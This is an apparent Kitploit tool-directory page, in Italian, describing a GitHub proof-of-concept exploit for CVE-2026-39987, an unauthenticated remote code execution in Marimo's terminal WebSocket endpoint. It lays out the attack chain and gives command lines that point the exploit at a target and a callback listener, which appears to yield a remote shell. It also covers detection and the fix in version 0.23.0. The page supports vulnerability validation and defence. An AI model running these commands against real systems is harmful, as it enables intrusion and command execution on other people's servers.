Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39987 — Proof-of-concept exploit per CVE-2026-39987, una RCE pre-autenticazione nell'endpoint WebSocket del terminale di Marimo. Dimostra l'esecuzione di comandi non autenticata e include test di validazione per istanze vulnerabili e corrette. | Kitploit
Strumenti/GitHubGitHub/th3purge/cve-2026-39987
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubth3purge/cve-2026-39987

CVE-2026-39987

Proof-of-concept exploit per CVE-2026-39987, una RCE pre-autenticazione nell'endpoint WebSocket del terminale di Marimo. Dimostra l'esecuzione di comandi non autenticata e include test di validazione per istanze vulnerabili e corrette.

Vedi Repository
17h 17m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39987 Marimo Pre Authentication RCE


📋 Informazioni sulla Vulnerabilità

ProprietàValore
CVECVE-2026-39987
ProdottoMarimo
VulnerabilitàEsecuzione Remota di Codice Pre-Autenticazione
Vettore d'AttaccoRete
AutenticazioneNon richiesta
Interazione UtenteNon richiesta
CWECWE-306 — Autenticazione Mancante per Funzione Critica
GravitàCritica
Versione Corretta0.23.0

CVE-2026-39987 è una vulnerabilità critica di Esecuzione Remota di Codice (RCE) pre-autenticazione che colpisce Marimo, un ambiente notebook Python reattivo. La vulnerabilità si trova nell'endpoint WebSocket del terminale /terminal/ws.


🔍 Causa Principale

L'endpoint vulnerabile del terminale crea una PTY interattiva dopo aver accettato una connessione WebSocket.

Concettualmente, il flusso di richiesta vulnerabile è:

root@kitploit:~
Client Remoto
     |
     | Connessione WebSocket
     v
/terminal/ws
     |
     | Validazione autenticazione mancante
     v
WebSocket accettata
     |
     v
PTY creata
     |
     v
Shell interattiva

Il confine di sicurezza importante è il controllo di autenticazione mancante.

Un endpoint che espone l'esecuzione arbitraria di comandi non deve consentire a un client non autenticato di raggiungere la logica di creazione della PTY.


🎯 Scopo e Ambito

Obiettivo Principale

Lo scopo di questo progetto è dimostrare, in un ambiente controllato, la mancata applicazione dell'autenticazione che interessa l'endpoint WebSocket del terminale di Marimo.

I team di sicurezza possono utilizzare il progetto per:

  • Validare l'esposizione delle proprie istanze Marimo
  • Verificare l'efficacia delle patch di sicurezza
  • Documentare il potenziale impatto sulla sicurezza
  • Migliorare i controlli difensivi
  • Supportare la validazione autorizzata delle vulnerabilità

Ambienti Autorizzati

  • Laboratori di sicurezza di proprietà del tester
  • Sistemi con autorizzazione scritta esplicita
  • Ambienti di formazione e didattici
  • Test di penetrazione e valutazioni di sicurezza autorizzati

Avvertenza: Eseguire il PoC solo contro sistemi di cui si è proprietari o per cui si dispone di autorizzazione esplicita al test.


🔗 Catena di Sfruttamento

La catena completa della vulnerabilità può essere riassunta come segue:

root@kitploit:~
1. L'attaccante scopre un'istanza Marimo esposta
                |
                v
2. L'attaccante si connette a /terminal/ws
                |
                v
3. L'autenticazione non viene applicata
                |
                v
4. La connessione WebSocket viene accettata
                |
                v
5. Viene creata una PTY terminale
                |
                v
6. L'attaccante ottiene l'esecuzione di comandi
                |
                v
7. I comandi vengono eseguiti come processo Marimo

Il guasto critico di sicurezza si verifica al punto 3.


📦 Installazione

Requisiti

root@kitploit:~
Python 3.7+
pip
Accesso di rete al target autorizzato

Dipendenze

root@kitploit:~
# Installazione di base
pip install websocket-client

# Installazione completa
pip install websocket-client rich

Verifica

root@kitploit:~
python3 exploit.py --help

🚀 Guida all'Utilizzo

Sintassi di Base

root@kitploit:~
python3 exploit.py -u <URL_TARGET> --lhost <IP_LOCALE> --lport <PORTA>

Esempi Pratici

1. Test in Laboratorio Locale

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. Test Remoto Autorizzato

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. Modalità Debug

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 Riferimento Parametri

ParametroTipoDescrizionePredefinito
-u, --urlstringURL di base dell'istanza Marimo targetObbligatorio
--lhoststringIndirizzo IP del listenerObbligatorio
--lportintPorta del listener (1-65535)Obbligatorio
--timeoutintTimeout del listener in secondi15
--retriesintTentativi di connessione WebSocket3
--retry-delayfloatRitardo tra i tentativi2.0
--no-verify-sslflagDisabilita la verifica del certificato SSLFalse
-v, --verboseflagAbilita output dettagliatoFalse
-s, --silentflagSopprime l'outputFalse

🔄 Flusso di Lavoro dello Exploit

root@kitploit:~
Fase 1: Inizializzazione
    ↓ Valida i parametri
    ↓ Configura la registrazione

Fase 2: Preparazione
    ↓ Inizializza il listener
    ↓ Stabilisce la connessione WebSocket

Fase 3: Validazione
    ↓ Testa l'endpoint del terminale
    ↓ Verifica l'applicazione dell'autenticazione
    ↓ Registra il comportamento della connessione

Fase 4: Dimostrazione
    ↓ Stabilisce una sessione di test autorizzata
    ↓ Verifica il contesto di esecuzione dei comandi
    ↓ Raccoglie le prove di validazione

Fase 5: Pulizia
    ↓ Ripristina lo stato del terminale
    ↓ Chiude le connessioni
    ↓ Rilascia le risorse

🧪 Test di Validazione

Scenari di Test

Istanza Vulnerabile

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Risultato Atteso: L'endpoint vulnerabile del terminale accetta la connessione non autenticata.

Istanza Patchata

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Risultato Atteso: La connessione viene rifiutata o comunque impedita dai controlli di autenticazione.

Test Timeout

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

Risultato Atteso: Il timeout viene segnalato correttamente.


📈 Statistiche della Vulnerabilità

root@kitploit:~
Gravità:        Critica (CVSS 9.3)
Complessità:    Bassa
Autenticazione: Nessuna richiesta
Impatto:        Esecuzione Remota di Codice
Protocollo:     WebSocket
Endpoint:       /terminal/ws
Versione Corretta: 0.23.0

Il README sorgente classifica il problema come CVSS 9.3 Critico e identifica CWE-306, WebSocket come protocollo e /terminal/ws come endpoint interessato.


🔎 Rilevamento

I potenziali indicatori di sfruttamento includono connessioni WebSocket inattese verso:

root@kitploit:~
/terminal/ws

I difensori dovrebbero indagare su:

  • Connessioni inattese all'endpoint WebSocket del terminale
  • Processi shell inattesi generati da Marimo
  • Processi figlio sospetti
  • Connessioni in uscita inattese
  • Accesso a variabili d'ambiente sensibili
  • Attività inattesa sul filesystem
  • Comandi sconosciuti eseguiti dal processo Marimo

🛡️ Rimedio

Aggiornare Marimo a una versione corretta:

root@kitploit:~
0.23.0 o successiva

Ulteriori raccomandazioni difensive includono:

  • Non esporre Marimo direttamente su Internet pubblico se non necessario.
  • Posizionare i servizi notebook dietro un reverse proxy autenticato.
  • Limitare l'accesso di rete a utenti e reti fidati.
  • Eseguire Marimo con i privilegi minimi richiesti.
  • Evitare di montare directory host sensibili nei container.
  • Ruotare le credenziali che potrebbero essere state accessibili a istanze compromesse.
  • Esaminare i log per attività sospette su /terminal/ws.
  • Indagare sulle istanze potenzialmente compromesse invece di presumere che la sola patch rimuova la persistenza dell'attaccante.

🔐 Classificazione di Sicurezza

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Gravità:    Critica
Tipo:       RCE Pre-Autenticazione
Protocollo: WebSocket
Endpoint:   /terminal/ws
Auth:       Nessuna richiesta
Corretta:   0.23.0

📄 Licenza

SOLO USO AUTORIZZATO

Questo progetto è fornito esclusivamente per:

  • Test di sicurezza autorizzati
  • Ricerca accademica
  • Validazione di vulnerabilità
  • Formazione sulla sicurezza
  • Sviluppo di sicurezza difensiva

L'uso non autorizzato è severamente vietato e può violare le leggi locali e internazionali applicabili.


⚠️ Disclaimer

Questo progetto è fornito per ricerca sulla sicurezza, validazione di vulnerabilità e scopi educativi.

Non utilizzare il PoC contro sistemi di cui non si è proprietari o per cui non si dispone di autorizzazione esplicita al test.

I manutentori non sono responsabili per uso improprio, test non autorizzati, danni, perdita di dati o qualsiasi conseguenza derivante dall'uso di questo progetto.

Scarica lo strumento